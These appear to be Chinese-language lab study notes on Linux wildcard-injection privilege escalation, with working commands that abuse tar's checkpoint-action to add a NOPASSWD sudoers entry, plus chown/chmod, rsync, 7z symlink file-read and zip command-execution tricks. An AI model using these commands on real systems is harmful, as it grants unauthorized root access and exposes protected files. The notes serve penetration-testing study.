:::tips 这个漏洞原理,我也具体说不上来

具体查看: https://www.exploit-db.com/papers/33930

:::

chown,chmod

你可以指出你想为其余的文件复制哪个文件所有者和权限

  1. touch "--reference=/my/own/path/filename"

tar

  1. htb_student@NIX02:~$ man tar
  2. <SNIP>
  3. Informative output
  4. --checkpoint[=N]
  5. N 条记录显示进度消息(默认 10
  6. --checkpoint-action=ACTION
  7. 在每个检查点上运行 ACTION

—checkpoint-action 选项允许在到达检查点时执行 EXEC 操作(即,在 tar 命令执行后运行任意操作系统命令。)通过使用这些名称创建文件,当指定通配符时,— checkpoint=1 和 —checkpoint-action=exec=sh root.sh 作为命令行选项传递给 tar,实践如下:

  1. # 创建一个 cron 作业,每分钟备份 /toot 目录内容早 /tmp 中
  2. */01 * * * * cd /tmp && tar -zcf /tmp/backup.tar.gz *
  3. htb_student@NIX02:~$ echo 'echo "cliff.moore ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' > root.sh
  4. htb_student@NIX02:~$ echo "" > "--checkpoint-action=exec=sh root.sh"
  5. htb_student@NIX02:~$ echo "" > --checkpoint=1
  6. # 当执行后,我们就可以查看是否提升了权限
  7. sudo -l

请注意这个方法利用的前提是命令的格式:

**<font style="color:#DF2A3F;">tar -zcf /tmp/backup.tar.gz *</font>**

Rsync

执行任意的命令:

  1. Interesting rsync option from manual:
  2. -e, --rsh=COMMAND specify the remote shell to use
  3. --rsync-path=PROGRAM specify the rsync to run on remote machine
  1. touch "-e sh shell.sh"

7z

在7z中,即使在*前使用—(注意,—意味着下面的输入不能作为参数处理,所以在这种情况下只是文件路径),你也会导致读取文件时出现任意错误,所以如果像下面这样的命令是由root执行的:

  1. 7za a /backup/$filename.zip -t7z -snl -p$pass -- *

你可以在执行这个程序的文件夹中创建文件,你可以创建@root.txt文件,root.txt文件是你要读取的文件的符号链接:

  1. cd /path/to/7z/acting/folder
  2. touch @root.txt
  3. ln -s /file/you/want/to/read root.txt

然后,当7z执行时,它将把root.txt当作一个包含它应该压缩的文件列表的文件(这就是@root.txt的存在所表明的),当7z读取root.txt时,它将读取/file/you/want/to/read,由于这个文件的内容不是一个文件列表,它将抛出一个显示内容的错误。

zip

  1. zip name.zip files -T --unzip-command "sh -c whoami"